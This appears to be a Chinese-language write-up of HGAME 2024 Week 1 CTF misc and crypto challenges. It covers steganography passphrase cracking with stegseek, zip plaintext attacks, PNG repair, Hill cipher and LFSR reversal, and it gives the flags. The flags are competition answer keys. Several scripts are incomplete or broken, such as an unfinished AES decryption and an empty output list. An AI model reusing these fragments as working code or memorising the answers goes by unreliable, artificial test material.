MISC

WEEK1[签到]

公众号回复即可：

最终flag：

```
hgame{welc0me_t0_HGAME_2024}
```

WEEK1[SignIn]

从上往下斜着看即可，最终flag：

```
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
```

WEEK1[来自星尘的问候]

一眼stegseek:

```
Kali@kali: ~/桌面
文件 动作 编辑 查看 帮助
(kali@kali)-[~/桌面]
$ stegseek secret.jpg rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "123456"

[i] Original filename: "secret.zip".
[i] Extracting to "secret.jpg.out".
```

压缩包里有一个exa.png，结合文件名搜索游戏，发现是游戏“来自星尘”，因为前字符五个一定是hgame，其实能得到flag中的三个字符，再根据长度判断为“welcom”，没找到数字对照表，但字母都能对上，那应该就是把o换成了0，最终flag：

```
hgame{welc0me!}
```

WEEK1[simple_attack]

最简单的明文爆破，爆破完base64转图片得到flag：

```
hgame{s1mple_attack_for_zip}
```

最终flag：

```
hgame{s1mple_attack_for_zip}
```

WEEK1[希儿希尔]

爆破png宽高：

总选项:	[1] FIX-PNG	▼
img1路径:	K:/secret.png	
<div>打开img1</div> <div>开始执行</div> <div>清空输出</div>		
<p>[*] Fix-PNG执行完毕, 图片已经保存在文件所在的目录中或者同名目录中!</p> <p>[+] Byxs20为您温馨提示: 正在并行爆破图片正确的宽度和高度中...</p> <p>[+] 宽度: 1394, hex: 0x572</p> <p>[+] 高度: 1999, hex: 0x7CF</p> <p>[+] 运行时间为: 0小时 0分钟 0秒 213毫秒</p> <p>[+] CRC32: 0x121B804D, 已经为您保存到运行目录中!</p>		

png尾还有一个zip文件，里面是密文，对png用zsteg拿到希尔密码的加密信息:

```
(kali㉿kali)-[~/桌面]
$ zsteg -a /home/kali/桌面/fix_secret.png
imagedata          .. text: "\"5@00FLH"
b1,r,lsb,xy        .. text: "4|C^\\tL@"
b1,rgb,lsb,xy      .. text: "KEY:[[8 7][3 8]];A=0"
b2,r,msb,xy        .. text: "]"_]

b2,b,msb,xy        .. text: ["U" repeated 243 times]

```

希尔密码解密拿到flag:

WEEK1[ezMath]

$x^2 - D y^2 = 1$ 一眼佩尔方程, 直接连分数打:

```
from gmpy2 import *
```

```
def CaL_CF(List):  
    List.reverse()
```

```

fenmu=0
fenzi=1
for i in List:
    fenmu,fenzi=fenzi,i*fenzi+fenmu
return fenmu,fenzi

t=114514
m=isqrt(t)
x=t**(0.5)
a=[]
a.append(m)
b=m
c=1
while a[-1]!=2*a[0]:
    c=(t-b*b)//c
    tmp=(x+b)/c
    a.append(int(tmp))
    b=a[-1]*c-b
print(len(a)-1)
print(a)
a=a[:-1]
fenmu,fenzi=CaL_CF(a)
print(fenmu)
print(fenzi)

```

拿到y值之后，写脚本解AES即可：

```

from Crypto.Cipher import AES

password = b'\x04;\x0e\x07\x0a\x05\xf9#\xd7Ap\x04\x09\x0e\x19'
aes = AES.new(password,AES.MODE_ECB)

WEEK1[奇怪的图片]

审一下代码逻辑，显然是一个一个字符往上加，那么思路明确，因为第一张图片只有h，用只有h的那张和全部图片异或，第一张肯定纯黑，第二张只有g，第三张只有ga，以此类推，所以写个批量异或的脚本去找符合要求的就好：

```
from PIL import Image
import os
import numpy as np

original_image_path = "K:\\png_out\\5c55dc77.png"
images_directory = 'K:\\png_out'
output_directory = 'K:\\png_out3'

def xor_images(original_image_path, image_path, output_path):
    original_image = Image.open(original_image_path)
    other_image = Image.open(image_path)
    original_array = np.array(original_image)
    other_array = np.array(other_image)
    xor_result_array = np.bitwise_xor(original_array, other_array)
    xor_result = Image.fromarray(xor_result_array.astype('uint8'))
    xor_result.save(output_path)

png_images = [f for f in os.listdir(images_directory) if
f.endswith('.png')]

for png_image in png_images:
    image_path = os.path.join(images_directory, png_image)
    output_path = os.path.join(output_directory, f'result_{png_image}')
    xor_images(original_image_path, image_path, output_path)
```

一个个累加读出flag即可，最终flag：

```
hgame{1adf_17eb_803c}
```

WEEK1[eZPRNG]

lfsr, 根据加密脚本逆推解密即可, 虽然循环了1000次, 但因为flag的每部分都是长度为8的十六进制字符串, 因此初始seed值也只有32bit, exp:

```
def lfsr(R,mask):
    stre = bin(R)[2:].zfill(32)
    nextbit=stre[-1]+stre[:-1]
    nextbit=int(nextbit,2)
    i = (nextbit & mask) & 0xffffffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    return R>>1 | lastbit<<31

mask = 0b1000100100001000010001001001001001
output = ['', '', '', '']

flag0 = []
for i in range(len(output)):
    p = output[i][:32]
    q = int(p,2)
    for _ in range(32):
        q = lfsr(q,mask)
    flag0.append(q)

flag = ''
for R in flag0:
    R = int(R)
    R = hex(R)[2:]
    flag += R
flag = 'hgame{' + flag[:8] + '-' + flag[8:12] + '-' + flag[12:16] + '-' +
flag[16:20] + '-' + flag[20:] + '}'
print(flag)
```

On the right, the input field contains the Base64 string 'I7R8ITMCnzbCn5eFIC=6y1iXfzN=I5NMnz0XIC==yzycysi70ci7y7iK'.
